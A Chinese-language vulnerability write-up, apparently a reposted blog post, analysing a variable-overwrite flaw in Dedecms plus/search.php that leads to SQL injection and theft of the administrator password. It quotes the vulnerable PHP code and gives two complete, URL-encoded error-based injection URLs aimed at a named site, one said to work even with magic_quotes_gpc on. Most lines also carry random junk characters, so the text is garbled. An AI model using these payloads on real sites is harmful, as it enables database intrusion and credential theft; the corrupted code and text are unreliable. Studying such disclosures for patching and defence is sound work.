微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
+ E( u' N1 c; ]8 Y! F( o3 G作者: c4rp3nt3r@0x50sec.org" r( N' O3 g2 u1 V
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.. i& M0 ~9 L6 ?3 d2 D- N
7 _+ f7 Z( u8 U1 q& T; p
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.$ S& L/ o$ @" c" G" i9 `
/ M$ m# M1 C9 L/ _9 d2 z3 y% `
============3 e+ k! G5 A6 P& q" k+ L7 B
! j, h# X- ~, S2 `! \ 7 {6 s' W4 \' X t' I
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
/ }( z' `7 j' G! b; D0 I / x3 T r1 h# Y5 S' {) m
require_once(dirname(__FILE__).”/../include/common.inc.php”);) [! y& H9 u8 U. h
require_once(DEDEINC.”/arc.searchview.class.php”);
" G( B. w7 A% i
8 l! V( ^: @# q$ A* r" \$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
/ l' p9 m/ V( C7 u, @8 Z3 c5 i$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;; X4 l. y: N% Y7 l$ A+ e( S
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
- c, V) Y4 j J; t% G8 u$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
( a: u5 i& m7 P+ ?& S5 w; z$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
2 U6 [3 H! K, L" S) t7 x
/ g, j9 n- k* {! e; gif(!isset($orderby)) $orderby=”;
1 v9 V2 k$ }# s2 H: `( W- A! _else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
: u0 z8 W! n8 N" O
/ `0 `; w6 k6 s: L* `# q) L M% F4 d
8 e3 M+ c7 P- l# s! M5 O) sif(!isset($searchtype)) $searchtype = ‘titlekeyword’;( G+ }6 v) {* r$ L3 l H
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);2 @8 z. L% O! B$ e1 [
8 S: Y$ s3 {6 ?3 f5 u R* o0 Jif(!isset($keyword)){- ~" W, x0 q) D+ Z# q7 w" }* ?
if(!isset($q)) $q = ”;
! V% ?7 _' x& e $keyword=$q;, h/ A- N# o0 N; X, b! O% a/ s
}
/ |$ }! r4 h- @. t! a7 v: ? 1 c" R6 s2 a4 s* U( n, D
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));; C: A: d0 s; L. w: f
& v3 N9 p5 N" i' {7 c% I \) n
//查找栏目信息8 J$ p1 C3 A. N' u+ y6 l! c
if(empty($typeid))" i; u" M% J. U
{
0 H6 A2 E7 X) E. E ? $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
5 g) p: {3 E7 u2 u. k# D if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
0 _; z7 Y3 S1 P4 | {
% \7 v' o# \6 i6 ^4 d ?, n $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);, o1 Q9 [5 _" i; @
fwrite($fp, “<”.”?php\r\n”);' E2 N& x: ?% ]# X( E: {
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);, t& O; D3 m4 c X$ `
$dsql->Execute(); T# m4 }, t: G% D! c
while($row = $dsql->GetArray())" L% E) a# e7 E) {9 g
{0 W& ~% J% o% z
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);2 D' D* U% M9 G% J7 B, m1 }
}
- P: z* T' O% g1 T! s8 Y z U" L fwrite($fp, ‘?’.'>’);
. ^' F3 B+ {' { fclose($fp);$ z, v5 W. H: X; `* I9 ?9 R
}
8 Q: i3 _- C5 D! v //引入栏目缓存并看关键字是否有相关栏目内容5 s; h) G" p0 K# K4 m
require_once($typenameCacheFile);
# p; W7 K8 i3 j6 R( }5 T$ j//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
; ~* T& k* I4 p0 I' }( ]//& `( v( H7 t; V# P/ H
if(isset($typeArr) && is_array($typeArr))/ Z1 Z+ h, }$ |: V( A' T- X3 w
{4 y% [0 [ K- h" P
foreach($typeArr as $id=>$typename)
' c8 O9 [ B k& v. O5 k8 m- w {
. {4 Y# ?. X) \' M0 p& U1 {' J! ~
3 D/ n. t+ v0 L- n+ ~ <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
4 e& g M; f! P if($keyword != $keywordn)8 \$ S6 q, P$ O0 o
{1 g; R8 }# s7 j: @+ s
$keyword = $keywordn;
; G; r, u* [9 \7 s <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设; Z, o& h9 a6 U
break;! Q4 K0 p2 t1 {: J* d0 L( {
}9 g @5 q. M+ Q% i# {9 N# x
}
* Z* K/ E! e+ i- b }
. p3 b! G4 A5 g7 w0 v- E}$ P% t2 A, K7 A* A/ ?- M+ Z
然后plus/search.php文件下面定义了一个 Search类的对象 .
: |8 A4 N! R9 u: H5 _在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.) l P2 J$ r7 G2 B
$this->TypeLink = new TypeLink($typeid);% k0 m2 f. K( ]
$ A9 J% _ |2 @; J q5 H
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
) @5 V) A: `9 u* h% Z9 p; m! m7 g4 l 7 T' E5 z) e8 l, R$ O
class TypeLink
1 V3 a2 t6 j# X0 ~+ z' _{6 b2 N- U+ t, W( D$ ~* `
var $typeDir;
% N) w- d& b5 V( p0 z7 F var $dsql;
8 a, J! V( Q, l0 d; i# F var $TypeID;" u+ e# G1 R0 Z
var $baseDir;- w2 J1 u2 @0 x2 p# x) ]
var $modDir;
* ~+ q$ p/ M4 r var $indexUrl;
$ T+ C4 f o+ h var $indexName;% t; P0 k7 K c- i0 k
var $TypeInfos;- r8 C( z. T! }6 o0 X# E* K; I
var $SplitSymbol;4 o3 x: E5 x6 L" p
var $valuePosition;
& u$ L* a, Z+ W' W5 M4 d% w" B var $valuePositionName;( ]1 | m S% A9 @2 D. g
var $OptionArrayList;//构造函数///////: b; H! f( R1 z0 d$ g N- I5 ]
//php5构造函数# ?; n' E+ H: `8 V! w) q
function __construct($typeid)3 u3 j5 |* B5 g% h* G
{
! P- w! o8 F0 H $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl']; w7 m+ P8 m; @! ]1 T) h
$this->indexName = $GLOBALS['cfg_indexname'];2 t: b, \" }+ n( q/ y
$this->baseDir = $GLOBALS['cfg_basedir'];
3 \ s+ `7 U' K4 |- P $this->modDir = $GLOBALS['cfg_templets_dir'];
( m1 L3 e4 i7 i' _2 c $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];: s( x% H/ d* _9 n; w+ o- F3 O
$this->dsql = $GLOBALS['dsql'];+ u) E/ r3 l! R# y2 Q( q" a
$this->TypeID = $typeid;1 ?* t T( O! a R) E: [& }
$this->valuePosition = ”;7 Z! I; }6 s! O: i) V' n
$this->valuePositionName = ”;
9 ?2 g# s$ d, s- _ $this->typeDir = ”;, F* q5 l4 V: t* F r
$this->OptionArrayList = ”;( K( y8 b' O k
# X: T. m- n! S9 E c //载入类目信息) m1 ]# q' z+ u: x, [# z
6 a% p; @- ?9 y, O
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
) e8 o& N% {: w% Cctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
% J4 ?& G" j. g. G2 l( M1 C8 H: z`#@__channeltype` ch7 S! j! p) \! _4 S
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿, q; I, }; q S" h* n+ H
/ K0 V2 }+ x6 y# G7 C D
if($typeid > 0)' k- G8 X9 s1 c
{
9 S5 E' n$ [8 b- T6 c3 M# k $this->TypeInfos = $this->dsql->GetOne($query);
! f' F4 |/ c. u4 N" X& a7 P/ S. g利用代码一 需要 即使magic_quotes_gpc = Off
- O l N9 p( d; G. {; ] 0 @: l& k- \" ~! h x( k3 r5 R: f( T
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title5 [2 u6 A; b5 |' |- r
& U4 e# r: Z, j( ]# d. E1 i' d
这只是其中一个利用代码… Search 类的构造函数再往下
* H% _9 j5 m- m$ O9 z$ O8 Y 7 B$ L0 s5 d( a( z6 W( T
……省略
+ T& d: i- V' e$ J( y4 J# {! c/ M$this->TypeID = $typeid;
" v. J$ [) |0 I7 N8 x O……省略
( x8 N' Q( a% V! h% v: m6 Vif($this->TypeID==”0″){
' L: N; j" I5 @ $this->ChannelTypeid=1;
c0 G- e D. Z: A0 ] }else{/ _" X {: [# A' P: c5 r) y3 n& F) J
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
1 c9 P) z1 }+ U3 |+ A: a//现在不鸡肋了吧亲…
3 p2 W0 e6 i5 U1 a' \ $this->ChannelTypeid=$row['channeltype']; H* j$ q& u6 t: l2 I3 z
4 l& P5 {: |" R* d+ `
}
7 W( ?- ~1 v( U# S% Q利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
! |, h: X5 [" |
$ J+ f1 B# H( n u3 M. ewww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
, c/ _1 P- K# N3 C5 ?, K
6 T( i0 G, @. q" Q4 W" r如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站$ q* V9 K3 D G( U) [; w, o& G
|